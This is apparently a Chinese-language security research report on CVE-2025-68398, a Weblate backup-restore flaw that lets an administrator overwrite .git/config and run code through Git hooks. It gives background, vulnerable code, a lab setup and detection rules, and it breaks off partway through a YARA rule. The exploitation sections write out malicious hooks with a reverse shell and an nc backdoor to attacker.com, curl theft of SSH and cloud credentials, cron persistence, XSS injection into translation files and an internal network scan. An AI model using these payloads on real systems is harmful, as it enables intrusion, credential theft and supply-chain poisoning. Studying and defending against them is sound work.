CVE-2025-68398 Weblate Git Config Overwrite RCE 分析报告

1. 执行摘要

CVE编号: CVE-2025-68398
漏洞名称: Weblate Git Configuration Overwrite Remote Code Execution
CVSS评分: 9.1 (严重)
CVSS向量: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
影响版本: Weblate < 5.15.1
修复版本: Weblate >= 5.15.1
披露日期: 2025-12-18
漏洞分类: CWE-22 (路径遍历), CWE-20 (输入验证不当), CWE-434 (危险文件上传)
发现者: Jason Marcello

漏洞描述

CVE-2025-68398是Weblate翻译管理平台中的一个严重路径遍历漏洞。攻击者可以通过精心构造的恶意备份文件，绕过文件路径验证机制，覆盖Git仓库的配置文件（.git/config），从而通过Git hooks机制实现远程代码执行。该漏洞的核心问题在于validate_filename函数未对.git、.svn等敏感版本控制目录进行有效过滤，使攻击者能够向这些关键目录写入恶意配置。

尽管利用该漏洞需要管理员级别权限（PR:H），但考虑到其可造成的完整系统控制、数据泄露、供应链污染等严重后果，CVSS评分仍高达9.1分。该漏洞已在Weblate 5.15.1版本中得到完全修复。

关键风险

• 远程代码执行: 通过Git hooks执行任意系统命令

• 完整系统控制: 获取Weblate服务进程的完整权限

• 数据泄露: 访问所有翻译内容、源代码、凭证信息

• 供应链攻击: 向下游项目注入恶意代码

• 横向移动: 利用受损服务器作为跳板攻击内网资源

2. 技术背景

2.1 Weblate平台概述

Weblate是一个开源的基于Web的翻译管理系统，广泛应用于开源项目的本地化工作。它提供了友好的Web界面用于翻译管理，并与Git、Mercurial、Subversion等版本控制系统深度集成，支持翻译内容的版本控制和协作开发。

核心功能特性:

• 基于Web的实时翻译编辑界面

• 与Git/Mercurial/Subversion的双向同步

• 自动翻译建议和术语管理

• 翻译质量检查和审核工作流

• 项目备份和恢复功能

• 多项目、多语言集中管理

2.2 Git配置文件安全机制

Git的.git/config文件是仓库配置的核心，控制着版本控制系统的各种行为。该文件包含多个关键配置段：

配置文件结构:

[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    hooksPath = /path/to/hooks/    # 危险: 自定义hooks路径

[remote "origin"]
    url = https://github.com/user/repo.git
    fetch = +refs/heads/*:refs/remotes/origin/*

[user]
    name = Developer Name
    email = [email protected]

安全关键配置项:

• core.hooksPath: 指定Git hooks脚本的存储路径

• core.sshCommand: 自定义SSH命令执行方式

• remote.*.url: 远程仓库地址（可能包含凭证）

• credential.helper: 凭证存储辅助程序

2.3 Git Hooks执行机制

Git hooks是在特定Git事件发生时自动执行的脚本程序。这些脚本具有与Git进程相同的执行权限，可以执行任意系统命令。

常见hooks类型:

• pre-commit: 提交前执行（验证代码格式、运行测试）

• post-commit: 提交后执行（发送通知、触发CI）

• pre-push: 推送前执行（阻止敏感信息推送）

• post-receive: 接收后执行（自动部署、更新镜像）

安全风险: 如果攻击者能够控制hooks脚本或hooks路径，就可以在Git操作时执行任意代码，这正是CVE-2025-68398的利用核心。

2.4 路径遍历攻击原理

路径遍历（Path Traversal）是一种经典的Web安全漏洞，攻击者通过操纵文件路径参数，访问或修改受限目录中的文件。

常见绕过技术:

• ../序列: 访问父目录

• 绝对路径: 直接指定完整路径

• URL编码:%2e%2e%2f绕过简单过滤

• 双重编码:%252e%252e%252f

• Unicode编码:..%c0%af

• 混合路径分隔符:..\和../

CVE-2025-68398的独特之处: 该漏洞不使用传统的../父目录引用，而是直接使用相对路径（如.git/config）绕过验证，这种绕过方式更加隐蔽。

3. 漏洞披露时间线

披露过程评估:
从发现到修复再到公开披露，整个过程展现了负责任的漏洞披露实践。Weblate团队的快速响应（2天内完成修复并发布）值得赞赏，这大大降低了漏洞被野外利用的风险窗口。

4. 影响范围

4.1 受影响版本

确认受影响:

• Weblate 5.0.0 至 5.15.0 的所有版本

• Weblate 4.x 系列的所有版本（已停止维护）

• Weblate 3.x 系列的所有版本（已停止维护）

安全版本:

• Weblate 5.15.1 及以上版本

• 应用了官方安全补丁的版本

4.2 部署环境影响

受影响的部署方式:

1. 源码部署: 直接从GitHub克隆并运行的实例

2. pip安装: 通过pip install weblate安装的版本

3. Docker容器: 使用weblate/weblate:5.15或更早标签的容器

4. Kubernetes部署: 使用受影响版本镜像的集群

5. 云托管实例: 第三方提供的Weblate托管服务

不受影响的场景:

• 仅作为翻译者使用，无管理员权限的普通用户

• 已部署5.15.1及以上版本的实例

• 禁用了备份恢复功能的定制化部署

4.3 行业影响评估

受影响的组织类型:

• 开源项目: 使用Weblate进行多语言本地化的开源软件项目

• 软件公司: 采用Weblate管理产品翻译的商业软件公司

• 本地化服务商: 提供专业翻译服务的LSP（Language Service Provider）

• 教育机构: 用于教学和研究的Weblate实例

• 政府部门: 用于公共服务多语言化的政府机构

潜在受害者数量:
根据GitHub统计，Weblate拥有超过4000个星标，被众多知名开源项目使用（包括但不限于：Godot游戏引擎、F-Droid应用商店、elementary OS等）。保守估计全球有数千个活跃实例可能受到影响。

4.4 攻击面分析

攻击向量:

• AV:N (Network): 可通过互联网远程攻击

• AC:L (Low): 攻击复杂度低，无需特殊条件

• PR:H (High): 需要管理员或高权限账户

• UI:N (None): 无需用户交互

权限要求分析:
虽然需要高权限（PR:H），但这并不意味着漏洞危害性低：

1. 内部威胁: 恶意内部人员可以直接利用

2. 权限升级链: 可与其他漏洞组合使用

3. 账户劫持: 通过钓鱼、凭证泄露等手段获取管理员账户

4. 供应链攻击: 攻陷上游依赖项目的Weblate实例

5. 技术深度分析

5.1 漏洞代码定位

核心漏洞文件:weblate/utils/validators.py
关键函数:validate_filename(value: str, *, check_prohibited: bool = True)
调用路径:weblate/trans/models/backup.py→Backup.validate()→validate_filename()

5.2 漏洞版本代码分析

def validate_filename(value: str, *, check_prohibited: bool = True) -> None:
    """验证上传文件的文件名是否安全"""

    # 检查1: 阻止父目录引用
    if "../" in value or "..\\" in value:
        raise ValidationError(
            gettext("The filename can not contain reference to a parent directory.")
        )

    # 检查2: 阻止绝对路径
    if os.path.isabs(value):
        raise ValidationError(gettext("The filename can not be an absolute path."))

    # 检查3: 路径规范化验证
    cleaned = cleanup_path(value)
    if value != cleaned:
        raise ValidationError(
            gettext(
                "The filename should be as simple as possible. "
                "Maybe you want to use: {}"
            ).format(cleaned)
        )

    # 漏洞点: 缺少敏感目录检查
    # 修复前没有以下代码:
    # if check_prohibited and is_excluded(cleaned):
    #     raise ValidationError(gettext("The filename contains a prohibited folder."))

5.3 漏洞成因分析

根本原因: 输入验证不完整

具体问题:

1. 仅检查../不足够: 攻击者可以使用.git/config这样的相对路径，不需要使用父目录引用

2. 缺少目录黑名单: 没有过滤.git、.svn、.hg等版本控制系统的敏感目录

3. 信任相对路径: 假设所有不包含../的相对路径都是安全的

4. 业务逻辑缺陷: 备份恢复功能允许覆盖任意相对路径文件

绕过逻辑分析:

# 攻击者构造的恶意路径
malicious_path = ".git/config"

# 检查1: 不包含"../"，通过
assert "../" not in malicious_path  # True

# 检查2: 不是绝对路径，通过
assert not os.path.isabs(malicious_path)  # True (相对路径)

# 检查3: 路径已经是简化形式，通过
assert cleanup_path(malicious_path) == malicious_path  # True

# 漏洞: 没有检查4 - 敏感目录过滤
# 结果: 恶意路径被接受

5.4 cleanup_path函数分析

def cleanup_path(path: str) -> str:
    """清理文件路径，移除冗余部分"""
    # 规范化路径分隔符
    path = path.replace("\\", "/")
    # 移除冗余斜杠
    path = re.sub(r'/+', '/', path)
    # 移除首尾空白
    path = path.strip().strip('/')
    return path

问题:cleanup_path只做路径规范化，不做安全检查。它会将.git/config原样返回，不会标记为危险路径。

5.5 is_excluded函数详解

# weblate/utils/files.py

from translation_finder.finder import EXCLUDES

# EXCLUDES列表包含需要排除的目录
# EXCLUDES = [".git", ".svn", ".hg", ".bzr", "node_modules",
#             ".tox", "venv", ".venv", "__pycache__", ...]

# 构造路径模式列表
PATH_EXCLUDES = [f"/{exclude}/" for exclude in EXCLUDES]

def is_excluded(path: str) -> bool:
    """检查路径是否包含应被排除的目录"""
    # 在路径两端添加斜杠，确保完整匹配目录名
    normalized_path = f"/{path}/"

    # 检查是否包含任何排除模式
    for exclude_pattern in PATH_EXCLUDES:
        if exclude_pattern in normalized_path:
            return True

    # 额外检查父目录引用
    if ".." in path:
        return True

    return False

工作原理:

# 示例
is_excluded(".git/config")  # 返回True (包含/.git/)
is_excluded("translations/zh.po")  # 返回False (不包含敏感目录)
is_excluded("../etc/passwd")  # 返回True (包含..)

6. 漏洞成因深层分析

6.1 设计缺陷

安全边界定义不清:

• 备份恢复功能的设计初衷是恢复翻译文件，但实现上允许恢复任意文件

• 没有明确定义"可安全恢复的文件"的范围

• 缺少基于文件类型或目录的白名单机制

职责分离不足:

• validate_filename函数承担过多职责，既要验证路径格式，又要确保安全性

• 安全检查逻辑分散在多个函数中（validate_filename、cleanup_path、is_excluded）

• 缺少统一的安全策略执行点

6.2 代码演进问题

技术债务累积:

• validate_filename函数在早期版本中可能足够安全（当时未考虑VCS目录）

• 随着功能扩展，安全要求增加，但验证逻辑未同步更新

• is_excluded函数已经存在，但未被validate_filename调用

代码审查盲区:

# 修复前的validate_filename函数看起来"很安全"
# - 检查了../
# - 检查了绝对路径
# - 进行了路径清理
# 但实际上存在逻辑漏洞

6.3 假设错误

错误假设1: "阻止../就能防止路径遍历"

• 现实: 相对路径（如.git/config）同样危险

错误假设2: "备份文件由管理员上传，可以信任"

• 现实: 管理员账户可能被攻陷，或管理员本身是恶意的

错误假设3: "高权限操作的安全风险较低"

• 现实: 内部威胁和权限升级链使高权限漏洞同样危险

6.4 防御措施缺失

缺少深度防御层次:

1. 应用层: 输入验证不完整（本漏洞）

2. 文件系统层: 未使用chroot或容器隔离

3. 进程层: Git进程权限过高

4. 网络层: 缺少异常行为检测

缺少安全加固:

• .git/config文件未设置只读或不可变属性

• Git hooks目录未进行访问控制

• 备份恢复操作缺少审计日志

7. 漏洞利用方式

7.1 利用前提条件

必要条件:

1. 目标系统: 运行Weblate < 5.15.1的实例

2. 攻击者权限: 具有备份管理权限的账户（通常是管理员）

3. 网络访问: 能够访问Weblate的Web管理界面

4. VCS类型: 目标项目使用Git作为版本控制系统

可选增强条件:

1. 定时任务: 目标系统配置了自动Git同步任务

2. Webhook: 配置了Git操作触发的自动化流程

3. CI/CD集成: Weblate与持续集成系统集成

7.2 攻击准备阶段

步骤1: 创建恶意Git配置

#!/bin/bash
# create_malicious_backup.sh

# 创建临时工作目录
WORK_DIR=$(mktemp -d)
cd "$WORK_DIR"

# 创建.git目录结构
mkdir -p .git

# 生成恶意Git配置文件
cat > .git/config << 'EOF'
[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    # 关键: 指向攻击者控制的hooks目录
    hooksPath = /tmp/evil-hooks

[remote "origin"]
    url = https://github.com/legitimate/repo.git
    fetch = +refs/heads/*:refs/remotes/origin/*
EOF

echo "[+] 恶意Git配置已创建"

步骤2: 创建恶意Hooks脚本

# 创建hooks目录
mkdir -p /tmp/evil-hooks

# 创建恶意pre-commit hook
cat > /tmp/evil-hooks/pre-commit << 'HOOK'
#!/bin/bash

# Payload 1: 反弹Shell
bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' &

# Payload 2: 数据窃取
tar czf /tmp/exfil.tar.gz ~/.ssh ~/.aws ~/.gitconfig ~/.npmrc 2>/dev/null
curl -F "file=@/tmp/exfil.tar.gz" https://attacker.com/collect
rm -f /tmp/exfil.tar.gz

# Payload 3: 持久化
echo "* * * * * /tmp/evil-hooks/backdoor.sh" | crontab -

# Payload 4: 隐蔽后门
cat > /tmp/evil-hooks/backdoor.sh << 'BACKDOOR'
#!/bin/bash
while true; do
    nc -e /bin/bash attacker.com 5555 2>/dev/null
    sleep 300
done
BACKDOOR
chmod +x /tmp/evil-hooks/backdoor.sh
nohup /tmp/evil-hooks/backdoor.sh >/dev/null 2>&1 &

# 继续正常的Git操作，不影响功能
exit 0
HOOK

chmod +x /tmp/evil-hooks/pre-commit

echo "[+] 恶意Hooks已创建"

步骤3: 打包恶意备份

# 创建tar.gz备份文件
tar -czf malicious-backup.tar.gz .git/

# 或创建zip备份文件
zip -r malicious-backup.zip .git/

# 清理临时文件
cd /tmp
rm -rf "$WORK_DIR"

echo "[+] 恶意备份文件已生成: malicious-backup.tar.gz"
ls -lh malicious-backup.tar.gz

7.3 攻击执行阶段

阶段1: 获取管理员访问

方法A - 凭证攻击:

1. 钓鱼邮件获取管理员凭证

2. 暴力破解弱密码账户

3. 利用凭证泄露数据库（HaveIBeenPwned等）

方法B - 权限升级:

1. 利用其他Weblate漏洞获得初始访问

2. 通过权限提升漏洞获得管理员权限

3. 社会工程学诱骗管理员授予权限

方法C - 内部威胁:

1. 恶意内部员工直接利用

2. 离职员工利用未及时撤销的权限

阶段2: 上传恶意备份

通过Web界面上传:

1. 登录Weblate管理后台

2. 导航至: 项目管理 → 备份/恢复

3. 点击"上传备份"按钮

4. 选择malicious-backup.tar.gz文件

5. 确认上传

通过API上传（如果启用）:

# 使用curl通过API上传
curl -X POST https://weblate.example.com/api/backups/ \
  -H "Authorization: Token YOUR_API_TOKEN" \
  -F "[email protected]"

阶段3: 触发备份恢复

手动触发:

1. 在备份管理界面选择刚上传的备份

2. 点击"恢复"按钮

3. 确认恢复操作

自动触发:
如果Weblate配置了自动恢复，备份上传后会自动解压并应用。

7.4 代码执行触发

自动触发场景:

1. 定时同步: Weblate的自动Git同步任务运行（通常每小时）

2. 翻译提交: 用户提交翻译时触发git commit

3. 仓库更新: 手动或自动执行git pull操作

4. 分支合并: 执行git merge操作

手动触发:
攻击者可以自己提交一个翻译来立即触发hook：

1. 登录Weblate

2. 编辑任意翻译字符串

3. 保存（触发pre-commit hook）

8. 完整攻击链

8.1 攻击流程图

[攻击者]
   |
   v
[1. 侦察阶段]
   |-- 识别Weblate实例（版本指纹识别）
   |-- 枚举用户账户
   |-- 分析备份功能可用性
   |
   v
[2. 访问获取]
   |-- 钓鱼攻击获取管理员凭证
   |-- 或利用其他漏洞提权
   |
   v
[3. 恶意备份制作]
   |-- 创建.git/config配置
   |-- 设置hooksPath指向攻击者控制的目录
   |-- 打包成tar.gz/zip
   |
   v
[4. 备份上传]
   |-- 通过Web界面上传恶意备份
   |-- validate_filename验证（绕过）
   |
   v
[5. 备份恢复]
   |-- 触发恢复操作
   |-- 解压备份文件
   |-- 覆盖.git/config
   |
   v
[6. Hook部署]
   |-- 在/tmp/evil-hooks/创建恶意脚本
   |-- 设置执行权限
   |
   v
[7. 代码执行]
   |-- 等待或主动触发Git操作
   |-- Git执行pre-commit hook
   |-- 反弹Shell建立
   |
   v
[8. 后渗透]
   |-- 数据窃取（SSH密钥、源代码）
   |-- 持久化（cron后门）
   |-- 横向移动（内网扫描）
   |-- 供应链投毒（修改翻译注入代码）

8.2 典型攻击场景

场景1: 开源项目供应链攻击

目标: 攻陷知名开源项目的Weblate实例，向翻译文件中注入恶意代码

# post-commit hook - 供应链投毒
#!/bin/bash

# 在JavaScript翻译文件中注入XSS
find . -name "*.json" -path "*/translations/*" | while read file; do
    # 注入恶意脚本到翻译字符串
    sed -i 's/"message": "\(.*\)"/"message": "\1<script src=https:\/\/evil.com\/xss.js><\/script>"/g' "$file"
done

# 正常提交，不引起怀疑
exit 0

影响: 下游使用该翻译的所有应用程序都会包含XSS漏洞

场景2: 企业内网渗透

目标: 通过Weblate服务器作为跳板，横向移动攻击内网

# pre-push hook - 内网扫描
#!/bin/bash

# 扫描内网C段
for i in {1..254}; do
    ping -c 1 -W 1 192.168.1.$i >/dev/null 2>&1 && \
    echo "192.168.1.$i" >> /tmp/live_hosts.txt
done

# 上传结果
curl -X POST https://attacker.com/results -d @/tmp/live_hosts.txt
rm /tmp/live_hosts.txt

# 继续正常操作
exit 0

场景3: 数据外泄

目标: 窃取所有翻译内容和源代码

# pre-commit hook - 数据窃取
#!/bin/bash

DATE=$(date +%Y%m%d_%H%M%S)
EXFIL_DIR="/tmp/exfil_$DATE"

mkdir -p "$EXFIL_DIR"

# 打包所有翻译文件
tar -czf "$EXFIL_DIR/translations.tar.gz" . 2>/dev/null

# 窃取SSH密钥
cp -r ~/.ssh "$EXFIL_DIR/" 2>/dev/null

# 窃取环境变量（可能包含API密钥）
env > "$EXFIL_DIR/env.txt"

# 窃取Git历史（可能包含敏感信息）
git log --all --pretty=format:"%H %an %ae %s" > "$EXFIL_DIR/git_log.txt"

# 加密并上传
tar -czf - "$EXFIL_DIR" | openssl enc -aes-256-cbc -k "secretkey" | \
    curl -X POST https://attacker.com/collect --data-binary @-

# 清理痕迹
rm -rf "$EXFIL_DIR"

exit 0

9. 复现环境搭建

9.1 Docker快速部署（推荐）

docker-compose.yml配置

version: '3'

services:
  weblate:
    # 使用漏洞版本
    image: weblate/weblate:5.15
    container_name: weblate-vulnerable-cve-2025-68398
    ports:
      - "8080:8080"
    environment:
      # 管理员凭证
      - WEBLATE_ADMIN_NAME=admin
      - WEBLATE_ADMIN_PASSWORD=admin123
      - [email protected]

      # 主机配置
      - WEBLATE_ALLOWED_HOSTS=*
      - WEBLATE_SITE_DOMAIN=localhost:8080

      # 数据库配置
      - POSTGRES_PASSWORD=weblate_db_pass
      - POSTGRES_USER=weblate
      - POSTGRES_DATABASE=weblate
      - POSTGRES_HOST=database
      - POSTGRES_PORT=5432

      # Redis配置
      - REDIS_HOST=redis
      - REDIS_PORT=6379

      # 调试模式（便于测试）
      - WEBLATE_DEBUG=1

    depends_on:
      - database
      - redis
    volumes:
      - weblate-data:/app/data
      - ./backups:/tmp/backups
    networks:
      - weblate-net

  database:
    image: postgres:15-alpine
    container_name: weblate-postgres
    environment:
      - POSTGRES_USER=weblate
      - POSTGRES_PASSWORD=weblate_db_pass
      - POSTGRES_DATABASE=weblate
    volumes:
      - postgres-data:/var/lib/postgresql/data
    networks:
      - weblate-net

  redis:
    image: redis:7-alpine
    container_name: weblate-redis
    command: redis-server --appendonly yes
    volumes:
      - redis-data:/data
    networks:
      - weblate-net

volumes:
  weblate-data:
  postgres-data:
  redis-data:

networks:
  weblate-net:
    driver: bridge

启动漏洞环境

# 1. 保存上述配置为docker-compose.yml

# 2. 启动环境
docker-compose up -d

# 3. 等待服务初始化（约2-3分钟）
docker-compose logs -f weblate | grep "spawned uWSGI"

# 4. 访问Weblate
# URL: http://localhost:8080
# 用户名: admin
# 密码: admin123

# 5. 查看容器状态
docker-compose ps

9.2 源码安装部署

# 1. 克隆Weblate仓库
git clone https://github.com/WeblateOrg/weblate.git
cd weblate

# 2. 切换到漏洞版本
git checkout weblate-5.15

# 3. 安装系统依赖（Ubuntu/Debian）
sudo apt-get update
sudo apt-get install -y \
    python3-pip python3-dev \
    libxml2-dev libxslt1-dev libfreetype6-dev \
    libjpeg-dev libz-dev libyaml-dev \
    build-essential git-core \
    postgresql postgresql-contrib \
    redis-server

# 4. 创建Python虚拟环境
python3 -m venv venv
source venv/bin/activate

# 5. 安装Python依赖
pip install --upgrade pip wheel
pip install -e .
pip install -r requirements.txt

# 6. 配置数据库
sudo -u postgres psql << EOF
CREATE USER weblate WITH PASSWORD 'weblate';
CREATE DATABASE weblate OWNER weblate;
EOF

# 7. 创建Weblate配置
cp weblate/settings_example.py weblate/settings.py

# 编辑weblate/settings.py，配置数据库:
# DATABASES = {
#     'default': {
#         'ENGINE': 'django.db.backends.postgresql',
#         'NAME': 'weblate',
#         'USER': 'weblate',
#         'PASSWORD': 'weblate',
#         'HOST': '127.0.0.1',
#         'PORT': '5432',
#     }
# }

# 8. 初始化数据库
python manage.py migrate
python manage.py collectstatic --noinput

# 9. 创建管理员账户
python manage.py createsuperuser

# 10. 启动开发服务器
python manage.py runserver 0.0.0.0:8000

9.3 PoC验证脚本

创建exploit.sh脚本：

#!/bin/bash
# CVE-2025-68398 PoC Exploit Script
# Usage: ./exploit.sh <weblate_url> <admin_username> <admin_password>

set -e

WEBLATE_URL="${1:-http://localhost:8080}"
ADMIN_USER="${2:-admin}"
ADMIN_PASS="${3:-admin123}"

echo "========================================"
echo "CVE-2025-68398 PoC Exploit"
echo "========================================"

# 1. 创建恶意备份
echo "[*] Creating malicious backup..."
WORK_DIR=$(mktemp -d)
cd "$WORK_DIR"

mkdir -p .git
cat > .git/config << 'EOF'
[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    hooksPath = /tmp/cve-2025-68398-poc

[remote "origin"]
    url = https://github.com/example/repo.git
    fetch = +refs/heads/*:refs/remotes/origin/*
EOF

tar -czf malicious-backup.tar.gz .git/
echo "[+] Malicious backup created: $(pwd)/malicious-backup.tar.gz"

# 2. 创建PoC Hook
echo "[*] Creating PoC hook..."
mkdir -p /tmp/cve-2025-68398-poc
cat > /tmp/cve-2025-68398-poc/pre-commit << 'HOOK'
#!/bin/bash
echo "[PWNED] CVE-2025-68398 executed at $(date)" >> /tmp/cve-2025-68398-pwned.log
echo "[PWNED] User: $(whoami)" >> /tmp/cve-2025-68398-pwned.log
echo "[PWNED] CWD: $(pwd)" >> /tmp/cve-2025-68398-pwned.log
echo "[PWNED] ---" >> /tmp/cve-2025-68398-pwned.log
exit 0
HOOK

chmod +x /tmp/cve-2025-68398-poc/pre-commit
echo "[+] PoC hook created"

# 3. 上传恶意备份（需要手动完成）
echo ""
echo "[!] Manual step required:"
echo "    1. Visit: ${WEBLATE_URL}/admin/"
echo "    2. Login with: ${ADMIN_USER} / ${ADMIN_PASS}"
echo "    3. Navigate to: Projects → Backup"
echo "    4. Upload: $(pwd)/malicious-backup.tar.gz"
echo "    5. Restore the backup"
echo "    6. Make a translation change to trigger git commit"
echo ""

# 4. 等待用户确认
read -p "Press Enter after completing the manual steps..."

# 5. 验证漏洞是否成功利用
echo "[*] Checking for exploitation evidence..."
if [ -f /tmp/cve-2025-68398-pwned.log ]; then
    echo "[+] SUCCESS! Vulnerability exploited!"
    echo ""
    echo "=== Proof of Exploitation ==="
    cat /tmp/cve-2025-68398-pwned.log
    echo "============================="
else
    echo "[-] Exploitation not detected. Check if all steps were completed correctly."
fi

# 清理
echo ""
echo "[*] Cleanup..."
echo "    Keep malicious backup at: $(pwd)/malicious-backup.tar.gz"
echo "    Remove PoC artifacts with: rm -rf /tmp/cve-2025-68398-poc /tmp/cve-2025-68398-pwned.log"

9.4 自动化验证脚本

创建Python验证脚本test_vulnerability.py：

#!/usr/bin/env python3
"""
CVE-2025-68398 Vulnerability Detector
Tests if a Weblate instance is vulnerable
"""

import os
import re
import tempfile
import subprocess
from pathlib import Path

def test_validate_filename_vulnerable():
    """测试validate_filename函数是否存在漏洞"""

    # 模拟漏洞版本的函数
    def validate_filename_vulnerable(value: str) -> bool:
        """漏洞版本（< 5.15.1）"""
        # 检查父目录引用
        if "../" in value or "..\\" in value:
            return False

        # 检查绝对路径
        if os.path.isabs(value):
            return False

        # 路径清理
        cleaned = value.replace("\\", "/").strip("/")
        if value != cleaned:
            return False

        # 漏洞: 缺少敏感目录检查
        return True

    # 模拟修复版本的函数
    def validate_filename_patched(value: str) -> bool:
        """修复版本（>= 5.15.1）"""
        # 敏感目录列表
        EXCLUDES = [".git", ".svn", ".hg", ".bzr", "node_modules", "__pycache__"]

        # 检查父目录引用
        if "../" in value or "..\\" in value:
            return False

        # 检查绝对路径
        if os.path.isabs(value):
            return False

        # 路径清理
        cleaned = value.replace("\\", "/").strip("/")
        if value != cleaned:
            return False

        # 修复: 添加敏感目录检查
        normalized = f"/{cleaned}/"
        for exclude in EXCLUDES:
            if f"/{exclude}/" in normalized:
                return False

        return True

    # 测试用例
    test_cases = [
        (".git/config", "Git配置文件"),
        (".svn/entries", "SVN配置文件"),
        ("translations/zh.po", "合法翻译文件"),
        ("../etc/passwd", "父目录遍历"),
        ("/etc/passwd", "绝对路径"),
    ]

    print("=" * 60)
    print("CVE-2025-68398 漏洞检测测试")
    print("=" * 60)

    for test_path, description in test_cases:
        vuln_result = validate_filename_vulnerable(test_path)
        patch_result = validate_filename_patched(test_path)

        print(f"\n测试: {description}")
        print(f"  路径: {test_path}")
        print(f"  漏洞版本允许: {'是' if vuln_result else '否'}")
        print(f"  修复版本允许: {'是' if patch_result else '否'}")

        if vuln_result and not patch_result:
            print(f"  状态: 漏洞可利用")
        elif not vuln_result and not patch_result:
            print(f"  状态: 正常拒绝")
        else:
            print(f"  状态: 正常接受")

if __name__ == "__main__":
    test_validate_filename_vulnerable()

运行验证：

chmod +x test_vulnerability.py
python3 test_vulnerability.py

10. 检测方法

10.1 版本检测

方法1: Web界面检测

访问Weblate实例的以下URL：

• /about/- 关于页面通常显示版本号

• /admin/- 管理后台底部显示版本信息

• /api/- API根路径返回版本信息

方法2: HTTP响应头检测

# 检查Server头或X-Powered-By头
curl -I https://weblate.example.com | grep -i "weblate\|server"

# 某些配置可能暴露版本信息
curl -s https://weblate.example.com/api/ | jq '.version'

方法3: 指纹识别

# 使用whatweb工具
whatweb https://weblate.example.com

# 使用nmap脚本
nmap -p 80,443 --script http-weblate-version weblate.example.com

方法4: 源码检测

如果有服务器访问权限：

# pip安装的版本
pip show weblate | grep Version

# Docker容器版本
docker exec weblate-container weblate --version

# 源码安装的版本
cd /path/to/weblate
cat weblate/__init__.py | grep VERSION

10.2 漏洞行为检测

系统调用监控

使用auditd监控.git/config文件的修改：

# 添加audit规则
auditctl -w /var/lib/weblate/data/ -p wa -k weblate-git-config-monitor

# 查看审计日志
ausearch -k weblate-git-config-monitor | grep ".git/config"

# 持久化规则
cat >> /etc/audit/rules.d/weblate.rules << EOF
-w /var/lib/weblate/data/ -p wa -k weblate-git-config-monitor
-w /tmp/ -p x -k tmp-execution-monitor
EOF

augenrules --load

文件完整性监控

使用aide监控关键文件：

# 安装AIDE
apt-get install aide

# 配置监控规则
cat >> /etc/aide/aide.conf << EOF
# 监控Weblate数据目录
/var/lib/weblate/data R+b+sha256

# 监控Git配置文件
!/var/lib/weblate/data/.*/.git/config$ R+b+sha256+md5
EOF

# 初始化数据库
aideinit

# 定期检查
aide --check

实时文件监控

使用inotifywait实时监控：

#!/bin/bash
# watch_git_configs.sh

inotifywait -m -r -e modify,create,move,delete \
    --format '%T %w%f %e' \
    --timefmt '%Y-%m-%d %H:%M:%S' \
    /var/lib/weblate/data/ | while read timestamp file event; do

    if [[ "$file" == *".git/config" ]]; then
        echo "[ALERT] $timestamp: Git config modified: $file ($event)"

        # 检查是否包含可疑的hooksPath
        if grep -q "hooksPath" "$file" 2>/dev/null; then
            echo "[CRITICAL] Suspicious hooksPath detected in $file"

            # 发送告警
            mail -s "CVE-2025-68398 Exploitation Detected" [email protected] << EOF
Possible CVE-2025-68398 exploitation detected!
Time: $timestamp
File: $file
Event: $event

Content:
$(cat "$file")
EOF
        fi
    fi
done

10.3 网络流量检测

Snort规则

# Snort rule for CVE-2025-68398
alert tcp any any -> any [8080,8443] (
    msg:"CVE-2025-68398 - Weblate malicious backup upload attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/backup/"; http_uri; nocase;
    content:".git/config"; http_client_body;
    content:"multipart/form-data"; http_header;
    classtype:web-application-attack;
    sid:10002568398;
    rev:1;
    metadata:cve CVE-2025-68398, cvss 9.1;
)

alert tcp any any -> any [8080,8443] (
    msg:"CVE-2025-68398 - Suspicious hooksPath in backup";
    flow:to_server,established;
    content:"hooksPath"; http_client_body;
    content:".git/config"; http_client_body;
    classtype:web-application-attack;
    sid:10002568399;
    rev:1;
    metadata:cve CVE-2025-68398;
)

Suricata规则

alert http any any -> any any (
    msg:"ET EXPLOIT CVE-2025-68398 Weblate Git Config Overwrite - Upload";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/backup/"; nocase;
    http.request_body; content:".git/config"; nocase;
    classtype:web-application-attack;
    sid:2568398;
    rev:1;
    metadata:cve CVE_2025_68398, attack_target Server, deployment Internal;
)

alert http any any -> any any (
    msg:"ET EXPLOIT CVE-2025-68398 Weblate Malicious hooksPath Configuration";
    flow:established,to_server;
    http.request_body; content:"hooksPath"; nocase; content:".git/config"; distance:0;
    classtype:web-application-attack;
    sid:2568399;
    rev:1;
    metadata:cve CVE_2025_68398;
)

10.4 日志分析

Weblate应用日志分析

# 搜索备份操作日志
grep -i "backup" /var/log/weblate/weblate.log | grep -i "restore\|upload"

# 搜索异常的文件路径
grep -E "\.git|\.svn|\.hg" /var/log/weblate/weblate.log

# 搜索validate_filename相关日志
grep "validate_filename" /var/log/weblate/weblate.log

Git操作日志分析

# 在Weblate数据目录中的所有Git仓库中搜索hooks执行记录
find /var/lib/weblate/data -name ".git" -type d | while read gitdir; do
    cd "$gitdir/.."
    echo "=== Checking $(pwd) ==="

    # 检查Git配置
    git config --local --list | grep -i "hook\|ssh"

    # 检查最近的Git操作
    git reflog --date=iso | head -20
done

10.5 YARA规则检测

rule CVE_2025_68398_Malicious_Backup {
    meta:
        description = "Detects malicious backup files exploiting CVE-2025-68398"
        author = "Security Research Team"
        date = "2025-12-24"
        severity = "high"
        cve = "CVE-2025-68398"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-68398"

    strings:
        // Git配置文件路径
        $git_config_path = ".git/config" ascii nocase

        // 危险的配置项
        $hooks_path = "hooksPath" ascii nocase
        $ssh_command = "sshCommand" ascii nocase
        $core_editor = "core.editor" ascii nocase

        // Git配置文件特征
        $config_section = /\[core\]/ ascii
        $config_section2 = /\[remote ".*"\]/ ascii

        // 可疑的hooks路径
        $suspicious_path1 = "/tmp/" ascii
        $suspicious_path2 = "/var/tmp/" ascii
        $suspicious_path3 = "/dev/shm/" ascii

    condition:
        // 必须包含.git/config路径
        $git_config_path and
        (
            // 包含危险配置项
            ($hooks_path or $ssh_command or $core_editor) or
            // 或包含配置段落和可疑路径
            (($config_section or $config_section2) and any of ($suspicious_path*))
        )
}

rule CVE_2025_68398_Malicious_Hook {
    meta:
